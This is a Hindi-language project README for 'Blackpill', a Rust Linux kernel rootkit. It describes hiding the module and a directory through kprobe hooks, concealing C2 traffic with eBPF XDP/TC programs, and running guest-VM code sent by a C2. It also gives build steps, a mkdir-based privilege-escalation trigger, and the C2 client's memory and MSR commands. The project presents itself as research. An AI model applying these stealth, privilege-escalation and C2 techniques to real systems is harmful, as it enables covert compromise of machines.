
एक Linux kernel rootkit जो Rust में लिखा गया है और एक custom type-2 hypervisor, eBPF XDP और TC प्रोग्राम का उपयोग करता है।
ब्लैकपिल एक गुप्त लिनक्स रूटकिट है जो रस्ट में बनाया गया है।
रूटकिट कई मॉड्यूलों से बना है (यहाँ रस्ट मॉड्यूल की बात हो रही है, कर्नेल मॉड्यूल की नहीं):
आर्किटेक्चर इस प्रकार दिखता है:

और यहाँ बताया गया है कि C2 से VM गेस्ट तक मैलिशियस कोड कैसे निष्पादित होता है:

C2 रूटकिट को तैयार किए गए असेंबल x86_64 म्नेमोनिक्स भेजता है, जो फिर उन्हें VM गेस्ट को निष्पादित करने के लिए भेजता है। VM गेस्ट होस्ट से अलग होता है और इसका उपयोग मैलिशियस कोड को निष्पादित करने के लिए किया जा सकता है।
कर्नेल को आने वाले मैलिशियस पैकेट दिखाई नहीं देते क्योंकि वे eBPF XDP प्रोग्राम द्वारा फ़िल्टर किए जाते हैं और LKM मॉड्यूल को भेजे जाते हैं, और बाहर जाने वाले पैकेट eBPF TC प्रोग्राम द्वारा संशोधित किए जाते हैं।
[!महत्वपूर्ण]
यह प्रोजेक्ट अभी भी कार्य-प्रगति पर है। सभी सुविधाएँ काम नहीं कर रही हैं!
बेझिझक मुद्दे या पुल रिक्वेस्ट सबमिट करें।
हुकिंग रूटकिट की एक मौलिक क्षमता है, जिसे लिनक्स कर्नेल में kprobes का उपयोग करके कार्यान्वित किया गया है। यह तकनीक सिस्टम फ़ंक्शनों के निष्पादन को इंटरसेप्ट और रीडायरेक्ट करती है ताकि उनके व्यवहार की निगरानी या संशोधन किया जा सके। इस रूटकिट के संदर्भ में, kprobes स्रोत कोड को सीधे बदले बिना कर्नेल फ़ंक्शनों के साथ बातचीत करने का एक शक्तिशाली तंत्र प्रदान करता है।
गोपनीयता सुनिश्चित करने के लिए, रूटकिट दो प्राथमिक एंटी-डिटेक्शन तंत्रों का उपयोग करता है:
कर्नेल मॉड्यूल सूची से मॉड्यूल को हटाना
जब एक कर्नेल मॉड्यूल लोड किया जाता है, तो यह कर्नेल की मॉड्यूल सूची में जुड़ जाता है, जो lsmod या /proc/modules जैसे टूल्स के माध्यम से दिखाई देता है। पता लगाने से रोकने के लिए:
एक विशिष्ट निर्देशिका को छिपाने के लिए filldir64 फ़ंक्शन को हुक करना
रूटकिट द्वारा उपयोग की जाने वाली फ़ाइलों को छिपाने के लिए, filldir64 फ़ंक्शन पर एक हुक लागू किया गया है। यह फ़ंक्शन तब आमंत्रित किया जाता है जब कोई प्रक्रिया निर्देशिका सामग्री पढ़ती है (जैसे getdents या readdir सिस्टम कॉल के माध्यम से)।
kprobes का उपयोग करके filldir64 फ़ंक्शन को इंटरसेप्ट करता है।/BLACKPILL-BLACKPILL निर्देशिका (जो महत्वपूर्ण रूटकिट फ़ाइलों को संग्रहीत करने के लिए उपयोग की जाती है) से मेल खाती है, तो इसे फ़िल्टर कर दिया जाता है और उपयोगकर्ता को नहीं लौटाया जाता है।हमारे सरल हाइपरवाइज़र को निम्नलिखित के अनुसार कार्यान्वित किया गया था:
प्रारंभिक सिस्टम कॉन्फ़िगरेशन
VMX या SVM मोड में प्रवेश करना
होस्ट और गेस्ट के बीच संक्रमण का प्रबंधन करना
गेस्ट सिस्टम निर्माण
संचार
स्थायित्व किसी भी रूटकिट की एक महत्वपूर्ण क्षमता है, जो इसे रिबूट के बाद भी लक्ष्य प्रणाली पर नियंत्रण बनाए रखने में सक्षम बनाती है।
अपने वर्तमान कार्यान्वयन में, स्थायित्व तंत्र /bin/touch कमांड का उपयोग करके फ़ाइल सिस्टम में एक परीक्षण फ़ाइल बनाकर अपनी कार्यक्षमता प्रदर्शित करता है। यह प्लेसहोल्डर क्रिया रूटकिट की विशेषाधिकार प्राप्त संचालन निष्पादित करने की क्षमता को दर्शाती है और इसे अधिक उन्नत स्थायित्व रणनीतियों को लागू करने के लिए बढ़ाया जा सकता है।
अब यह बेकार है क्योंकि APT-स्तरीय रूटकिट बनाना हमारी प्राथमिकता नहीं है, बल्कि कम देखी गई अवधारणाओं पर अधिक शोध है।
हमारे रूटकिट को संकलित करने से पहले कई चरणों को पूरा करने की आवश्यकता है। विकास वातावरण में शामिल हैं:
रिपॉजिटरी और इसके उथले सबमॉड्यूल को क्लोन करके शुरू करें:
git clone [email protected]:DualHorizon/blackpill.git --recursive --depth 1
एक आर्क-आधारित वितरण पर:
sudo pacman -S qemu-base qemu-desktop docker grub
एक आर्क-आधारित लिनक्स वितरण पर, Rust और अन्य निर्भरताएँ स्थापित करें:
sudo pacman -S rust rust-src rust-bindgen
sudo pacman -S clang lld llvm
फिर हमें Rust स्रोत और बाइंडजेन की आवश्यकता होगी:
rustup component add rust-src clippy rustfmt
cargo install --locked bindgen-cli
सुनिश्चित करें कि आप फ़ोल्डर linux/ में चलाकर अपने कर्नेल को Rust के साथ संकलित करना शुरू कर सकते हैं:
$ cd blackpill
$ pushd linux
$ make LLVM=1 rustavailable
Rust is available!
$ popd
पहली बार सेटअप कार्य लॉन्च करें जो कर्नेल को कॉन्फ़िगर और संकलित करता है:
make first-time-setup
[!महत्वपूर्ण]
यदि आपसे विकल्पों को अनुकूलित करने के लिए कहा जाए, तो हर बार Enter दबाएँ।
आप Rust कर्नेल मॉड्यूल (आउट-ऑफ-ट्री) को निम्न के साथ संकलित कर सकते हैं:
make
VM को निम्न के साथ लॉन्च करें:
make vm
VM के अंदर, आप स्वचालित रूप से root के रूप में लॉग इन हैं। आप मॉड्यूल को सक्षम कर सकते हैं:
$ modprobe blackpill
# आप कर्नेल लॉग की जाँच कर सकते हैं
$ dmesg
एक बार VM शुरू हो जाने के बाद, आप अपने विशेषाधिकारों को बढ़ाने के लिए उपरोक्त कमांड का उपयोग कर सकते हैं:
mkdir ImFeelingRootNow_<PID>
<PID> को उस प्रक्रिया के प्रक्रिया आईडी से बदलें जिसके विशेषाधिकार को आप बढ़ाना चाहते हैं।
यह सरल C2 संक्रमित मशीन को UDP के माध्यम से x86-64 ऑपकोड भेजता है और TCP पैकेट प्राप्त करता है। इसके कार्य अब मशीन के साथ निम्न-स्तरीय संपर्क तक सीमित हैं, लेकिन अधिक रैपरों के साथ बहुत सारे व्यावहारिक उपयोग की अनुमति दे सकते हैं।
पायथन क्लाइंट सेटअप करें:
cd blackpill-c2
poetry install
poetry shell
python client.py
अपने तर्कों ([ip] [port]) के साथ क्लाइंट लॉन्च करने के बाद आपको मिलना चाहिए:
$ python client.py 0.0.0.0 1339
Rootkit से कनेक्टेड!
फिर आप उपलब्ध कमांड प्रदर्शित करने के लिए help कमांड का उपयोग कर सकते हैं:
blackpill: help
उपलब्ध कमांड
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ कमांड ┃ विवरण ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ read_virt_memory <address> │ 'address' पर 4 बाइट्स (32 बिट्स) मेमोरी पढ़ें │
│ write_virt_memory <address> <value> │ 'address' पर 4 बाइट्स (32 बिट्स) मेमोरी लिखें │
│ launch_userland_binary <path> │ 'path' पर एक यूज़रलैंड बाइनरी लॉन्च करें │
│ change_msr <msr> <value> │ एक मॉडल स्पेसिफिक रजिस्टर (MSR) का मान बदलें │
│ read_phys_memory <address> <value> │ 'address' पर 4 बाइट्स (32 बिट्स) भौतिक मेमोरी पढ़ें │
│ write_phys_memory <address> <value> │ 'address' पर 4 बाइट्स (32 बिट्स) भौतिक मेमोरी लिखें │
│ stop_execution │ गेस्ट VM का निष्पादन रोकें │
│ change_vmcs_field <field> <value> │ VMCS फ़ील्ड को 'value' में बदलें │
│ help │ यह सहायता संदेश दिखाएँ │
└─────────────────────────────────────┴─────────────────────────────────────────────────────────┘
पर्यावरण सेटअप:
इनग्रेस और एग्रेस नेटवर्क ट्रैफ़िक को संशोधित करने के लिए eBPF XDP और TC प्रोग्राम का उपयोग करना
अपने मैलिशियस नेटवर्क संचार को सामान्य करने के लिए, हम eBPF XDP (eXpress डेटा पथ) और TC (ट्रैफ़िक नियंत्रण) प्रोग्रामों का उपयोग करते हैं। इस प्रकार, हम यह कर सकते हैं: